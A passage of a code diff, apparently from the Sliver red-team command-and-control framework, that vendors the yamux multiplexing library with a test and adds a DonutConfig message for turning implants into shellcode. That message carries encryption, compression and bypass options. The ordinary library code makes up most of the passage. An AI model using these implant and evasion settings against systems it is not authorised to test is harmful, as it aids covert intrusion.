}
|
||||
if timer != nil {
|
||||
if !timer.Stop() {
|
||||
<-timeout
|
||||
}
|
||||
}
|
||||
goto START
|
||||
}
|
||||
|
||||
// sendFlags determines any flags that are appropriate
|
||||
// based on the current stream state
|
||||
func (s *Stream) sendFlags() uint16 {
|
||||
s.stateLock.Lock()
|
||||
defer s.stateLock.Unlock()
|
||||
var flags uint16
|
||||
switch s.state {
|
||||
case streamInit:
|
||||
flags |= flagSYN
|
||||
s.state = streamSYNSent
|
||||
case streamSYNReceived:
|
||||
flags |= flagACK
|
||||
s.state = streamEstablished
|
||||
}
|
||||
return flags
|
||||
}
|
||||
|
||||
// sendWindowUpdate potentially sends a window update enabling
|
||||
// further writes to take place. Must be invoked with the lock.
|
||||
func (s *Stream) sendWindowUpdate() error {
|
||||
s.controlHdrLock.Lock()
|
||||
defer s.controlHdrLock.Unlock()
|
||||
|
||||
// Determine the delta update
|
||||
max := s.session.config.MaxStreamWindowSize
|
||||
var bufLen uint32
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf != nil {
|
||||
bufLen = uint32(s.recvBuf.Len())
|
||||
}
|
||||
delta := (max - bufLen) - s.recvWindow
|
||||
|
||||
// Determine the flags if any
|
||||
flags := s.sendFlags()
|
||||
|
||||
// Check if we can omit the update
|
||||
if delta < (max/2) && flags == 0 {
|
||||
s.recvLock.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Update our window
|
||||
s.recvWindow += delta
|
||||
s.recvLock.Unlock()
|
||||
|
||||
// Send the header
|
||||
s.controlHdr.encode(typeWindowUpdate, flags, s.id, delta)
|
||||
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
|
||||
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
|
||||
// Message left in ready queue, header re-use is unsafe.
|
||||
s.controlHdr = header(make([]byte, headerSize))
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sendClose is used to send a FIN
|
||||
func (s *Stream) sendClose() error {
|
||||
s.controlHdrLock.Lock()
|
||||
defer s.controlHdrLock.Unlock()
|
||||
|
||||
flags := s.sendFlags()
|
||||
flags |= flagFIN
|
||||
s.controlHdr.encode(typeWindowUpdate, flags, s.id, 0)
|
||||
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
|
||||
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
|
||||
// Message left in ready queue, header re-use is unsafe.
|
||||
s.controlHdr = header(make([]byte, headerSize))
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close is used to close the stream
|
||||
func (s *Stream) Close() error {
|
||||
closeStream := false
|
||||
s.stateLock.Lock()
|
||||
switch s.state {
|
||||
// Opened means we need to signal a close
|
||||
case streamSYNSent:
|
||||
fallthrough
|
||||
case streamSYNReceived:
|
||||
fallthrough
|
||||
case streamEstablished:
|
||||
s.state = streamLocalClose
|
||||
goto SEND_CLOSE
|
||||
|
||||
case streamLocalClose:
|
||||
case streamRemoteClose:
|
||||
s.state = streamClosed
|
||||
closeStream = true
|
||||
goto SEND_CLOSE
|
||||
|
||||
case streamClosed:
|
||||
case streamReset:
|
||||
default:
|
||||
panic("unhandled state")
|
||||
}
|
||||
s.stateLock.Unlock()
|
||||
return nil
|
||||
SEND_CLOSE:
|
||||
// This shouldn't happen (the more realistic scenario to cancel the
|
||||
// timer is via processFlags) but just in case this ever happens, we
|
||||
// cancel the timer to prevent dangling timers.
|
||||
if s.closeTimer != nil {
|
||||
s.closeTimer.Stop()
|
||||
s.closeTimer = nil
|
||||
}
|
||||
|
||||
// If we have a StreamCloseTimeout set we start the timeout timer.
|
||||
// We do this only if we're not already closing the stream since that
|
||||
// means this was a graceful close.
|
||||
//
|
||||
// This prevents memory leaks if one side (this side) closes and the
|
||||
// remote side poorly behaves and never responds with a FIN to complete
|
||||
// the close. After the specified timeout, we clean our resources up no
|
||||
// matter what.
|
||||
if !closeStream && s.session.config.StreamCloseTimeout > 0 {
|
||||
s.closeTimer = time.AfterFunc(
|
||||
s.session.config.StreamCloseTimeout, s.closeTimeout)
|
||||
}
|
||||
|
||||
s.stateLock.Unlock()
|
||||
s.sendClose()
|
||||
s.notifyWaiting()
|
||||
if closeStream {
|
||||
s.session.closeStream(s.id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// closeTimeout is called after StreamCloseTimeout during a close to
|
||||
// close this stream.
|
||||
func (s *Stream) closeTimeout() {
|
||||
// Close our side forcibly
|
||||
s.forceClose()
|
||||
|
||||
// Free the stream from the session map
|
||||
s.session.closeStream(s.id)
|
||||
|
||||
// Send a RST so the remote side closes too.
|
||||
s.sendLock.Lock()
|
||||
defer s.sendLock.Unlock()
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagRST, s.id, 0)
|
||||
_ = s.session.sendNoWait(hdr)
|
||||
}
|
||||
|
||||
// forceClose is used for when the session is exiting
|
||||
func (s *Stream) forceClose() {
|
||||
s.stateLock.Lock()
|
||||
s.state = streamClosed
|
||||
s.stateLock.Unlock()
|
||||
s.notifyWaiting()
|
||||
}
|
||||
|
||||
// processFlags is used to update the state of the stream
|
||||
// based on set flags, if any. Lock must be held
|
||||
func (s *Stream) processFlags(flags uint16) error {
|
||||
s.stateLock.Lock()
|
||||
defer s.stateLock.Unlock()
|
||||
|
||||
// Close the stream without holding the state lock
|
||||
closeStream := false
|
||||
defer func() {
|
||||
if closeStream {
|
||||
if s.closeTimer != nil {
|
||||
// Stop our close timeout timer since we gracefully closed
|
||||
s.closeTimer.Stop()
|
||||
}
|
||||
|
||||
s.session.closeStream(s.id)
|
||||
}
|
||||
}()
|
||||
|
||||
if flags&flagACK == flagACK {
|
||||
if s.state == streamSYNSent {
|
||||
s.state = streamEstablished
|
||||
}
|
||||
asyncNotify(s.establishCh)
|
||||
s.session.establishStream(s.id)
|
||||
}
|
||||
if flags&flagFIN == flagFIN {
|
||||
switch s.state {
|
||||
case streamSYNSent:
|
||||
fallthrough
|
||||
case streamSYNReceived:
|
||||
fallthrough
|
||||
case streamEstablished:
|
||||
s.state = streamRemoteClose
|
||||
s.notifyWaiting()
|
||||
case streamLocalClose:
|
||||
s.state = streamClosed
|
||||
closeStream = true
|
||||
s.notifyWaiting()
|
||||
default:
|
||||
s.session.logger.Printf("[ERR] yamux: unexpected FIN flag in state %d", s.state)
|
||||
return ErrUnexpectedFlag
|
||||
}
|
||||
}
|
||||
if flags&flagRST == flagRST {
|
||||
s.state = streamReset
|
||||
closeStream = true
|
||||
s.notifyWaiting()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// notifyWaiting notifies all the waiting channels
|
||||
func (s *Stream) notifyWaiting() {
|
||||
asyncNotify(s.recvNotifyCh)
|
||||
asyncNotify(s.sendNotifyCh)
|
||||
asyncNotify(s.establishCh)
|
||||
}
|
||||
|
||||
// incrSendWindow updates the size of our send window
|
||||
func (s *Stream) incrSendWindow(hdr header, flags uint16) error {
|
||||
if err := s.processFlags(flags); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Increase window, unblock a sender
|
||||
atomic.AddUint32(&s.sendWindow, hdr.Length())
|
||||
asyncNotify(s.sendNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// readData is used to handle a data frame
|
||||
func (s *Stream) readData(hdr header, flags uint16, conn io.Reader) error {
|
||||
if err := s.processFlags(flags); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Check that our recv window is not exceeded
|
||||
length := hdr.Length()
|
||||
if length == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wrap in a limited reader
|
||||
conn = &io.LimitedReader{R: conn, N: int64(length)}
|
||||
|
||||
// Copy into buffer
|
||||
s.recvLock.Lock()
|
||||
|
||||
if length > s.recvWindow {
|
||||
s.session.logger.Printf("[ERR] yamux: receive window exceeded (stream: %d, remain: %d, recv: %d)", s.id, s.recvWindow, length)
|
||||
s.recvLock.Unlock()
|
||||
return ErrRecvWindowExceeded
|
||||
}
|
||||
|
||||
if s.recvBuf == nil {
|
||||
// Allocate the receive buffer just-in-time to fit the full data frame.
|
||||
// This way we can read in the whole packet without further allocations.
|
||||
s.recvBuf = bytes.NewBuffer(make([]byte, 0, length))
|
||||
}
|
||||
copiedLength, err := io.Copy(s.recvBuf, conn)
|
||||
if err != nil {
|
||||
s.session.logger.Printf("[ERR] yamux: Failed to read stream data: %v", err)
|
||||
s.recvLock.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
// Decrement the receive window
|
||||
s.recvWindow -= uint32(copiedLength)
|
||||
s.recvLock.Unlock()
|
||||
|
||||
// Unblock any readers
|
||||
asyncNotify(s.recvNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetDeadline sets the read and write deadlines
|
||||
func (s *Stream) SetDeadline(t time.Time) error {
|
||||
if err := s.SetReadDeadline(t); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := s.SetWriteDeadline(t); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetReadDeadline sets the deadline for blocked and future Read calls.
|
||||
func (s *Stream) SetReadDeadline(t time.Time) error {
|
||||
s.readDeadline.Store(t)
|
||||
asyncNotify(s.recvNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetWriteDeadline sets the deadline for blocked and future Write calls
|
||||
func (s *Stream) SetWriteDeadline(t time.Time) error {
|
||||
s.writeDeadline.Store(t)
|
||||
asyncNotify(s.sendNotifyCh)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Shrink is used to compact the amount of buffers utilized
|
||||
// This is useful when using Yamux in a connection pool to reduce
|
||||
// the idle memory utilization.
|
||||
func (s *Stream) Shrink() {
|
||||
s.recvLock.Lock()
|
||||
if s.recvBuf != nil && s.recvBuf.Len() == 0 {
|
||||
s.recvBuf = nil
|
||||
}
|
||||
s.recvLock.Unlock()
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Logger is a abstract of *log.Logger
|
||||
type Logger interface {
|
||||
Print(v ...interface{})
|
||||
Printf(format string, v ...interface{})
|
||||
Println(v ...interface{})
|
||||
}
|
||||
|
||||
var (
|
||||
timerPool = &sync.Pool{
|
||||
New: func() interface{} {
|
||||
timer := time.NewTimer(time.Hour * 1e6)
|
||||
timer.Stop()
|
||||
return timer
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// asyncSendErr is used to try an async send of an error
|
||||
func asyncSendErr(ch chan error, err error) {
|
||||
if ch == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case ch <- err:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// asyncNotify is used to signal a waiting goroutine
|
||||
func asyncNotify(ch chan struct{}) {
|
||||
select {
|
||||
case ch <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// min computes the minimum of two values
|
||||
func min(a, b uint32) uint32 {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
Vendored
+3
@@ -45,6 +45,9 @@ github.com/google/btree
|
||||
# github.com/hashicorp/go-uuid v1.0.2
|
||||
## explicit
|
||||
github.com/hashicorp/go-uuid
|
||||
# github.com/hashicorp/yamux v0.1.2
|
||||
## explicit; go 1.20
|
||||
github.com/hashicorp/yamux
|
||||
# github.com/jcmturner/gofork v1.0.0
|
||||
## explicit
|
||||
github.com/jcmturner/gofork/encoding/asn1
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
package yamuxtest
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
)
|
||||
|
||||
func TestYamuxConcurrentStreams(t *testing.T) {
|
||||
serverConn, clientConn := net.Pipe()
|
||||
serverSession, err := yamux.Server(serverConn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("server session: %v", err)
|
||||
}
|
||||
defer serverSession.Close()
|
||||
|
||||
clientSession, err := yamux.Client(clientConn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("client session: %v", err)
|
||||
}
|
||||
defer clientSession.Close()
|
||||
|
||||
const streams = 16
|
||||
payloads := make([][]byte, streams)
|
||||
for i := 0; i < streams; i++ {
|
||||
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
|
||||
}
|
||||
|
||||
var openWg sync.WaitGroup
|
||||
openWg.Add(streams)
|
||||
for i := 0; i < streams; i++ {
|
||||
i := i
|
||||
go func() {
|
||||
defer openWg.Done()
|
||||
stream, err := clientSession.Open()
|
||||
if err != nil {
|
||||
t.Errorf("open stream %d: %v", i, err)
|
||||
return
|
||||
}
|
||||
_, err = stream.Write(payloads[i])
|
||||
_ = stream.Close()
|
||||
if err != nil {
|
||||
t.Errorf("write stream %d: %v", i, err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
openWg.Wait()
|
||||
|
||||
wantSet := map[string]struct{}{}
|
||||
for _, p := range payloads {
|
||||
wantSet[string(p)] = struct{}{}
|
||||
}
|
||||
|
||||
gotSet := map[string]struct{}{}
|
||||
for i := 0; i < streams; i++ {
|
||||
stream, err := serverSession.Accept()
|
||||
if err != nil {
|
||||
t.Fatalf("accept stream %d: %v", i, err)
|
||||
}
|
||||
b, err := io.ReadAll(stream)
|
||||
_ = stream.Close()
|
||||
if err != nil {
|
||||
t.Fatalf("read stream %d: %v", i, err)
|
||||
}
|
||||
gotSet[string(b)] = struct{}{}
|
||||
}
|
||||
|
||||
if len(gotSet) != len(wantSet) {
|
||||
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
|
||||
}
|
||||
for want := range wantSet {
|
||||
if _, ok := gotSet[want]; !ok {
|
||||
t.Fatalf("missing payload: %q", want)
|
||||
}
|
||||
}
|
||||
}
|
||||
+2499
-2350
File diff suppressed because it is too large.
Load diff
@@ -132,6 +132,25 @@ enum OutputFormat {
|
||||
THIRD_PARTY = 4;
|
||||
}
|
||||
|
||||
message DonutConfig {
|
||||
// 1=none, 2=random names, 3=random names + symmetric encryption
|
||||
uint32 Entropy = 2;
|
||||
// 1=none, 2=aplib
|
||||
uint32 Compress = 3;
|
||||
// 1=exit thread, 2=exit process, 3=block
|
||||
uint32 ExitOpt = 4;
|
||||
// 1=none, 2=abort on failure, 3=continue on failure
|
||||
uint32 Bypass = 5;
|
||||
// 1=overwrite headers, 2=keep headers
|
||||
uint32 Headers = 6;
|
||||
// Run unmanaged EXE entrypoint as a new thread
|
||||
bool Thread = 7;
|
||||
// Convert command line to Unicode for unmanaged DLL entrypoints
|
||||
bool Unicode = 8;
|
||||
// Override original entry point (0 = default)
|
||||
uint32 OEP = 9;
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
string ID = 1;
|
||||
repeated ImplantBuild ImplantBuilds = 2;
|
||||
@@ -184,6 +203,7 @@ message ImplantConfig {
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
repeated string exports = 107;
|
||||
DonutConfig DonutConfig = 108;
|
||||
|
||||
string HTTPC2ConfigName = 150;
|
||||
bool NetGoEnabled = 151;
|
||||
|
||||
+336
-329
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0xc5, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0xff, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -697,36 +697,40 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65,
|
||||
0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68,
|
||||
0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66,
|
||||
0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f,
|
||||
0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43,
|
||||
0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a,
|
||||
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f,
|
||||
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a,
|
||||
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61,
|
||||
0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b,
|
||||
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e,
|
||||
0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c,
|
||||
0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73,
|
||||
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x38, 0x0a, 0x0b, 0x53, 0x68, 0x65, 0x6c, 0x6c,
|
||||
0x52, 0x65, 0x73, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x73, 0x69, 0x7a, 0x65, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
|
||||
0x79, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f,
|
||||
0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50,
|
||||
0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01,
|
||||
0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54,
|
||||
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
|
||||
0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61,
|
||||
0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06,
|
||||
0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
|
||||
0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
|
||||
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
|
||||
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
|
||||
0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73,
|
||||
0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
|
||||
0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65,
|
||||
0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63,
|
||||
0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
@@ -856,113 +860,114 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 123: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 124: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 125: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 126: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 127: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 128: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 129: sliverpb.Tunnel
|
||||
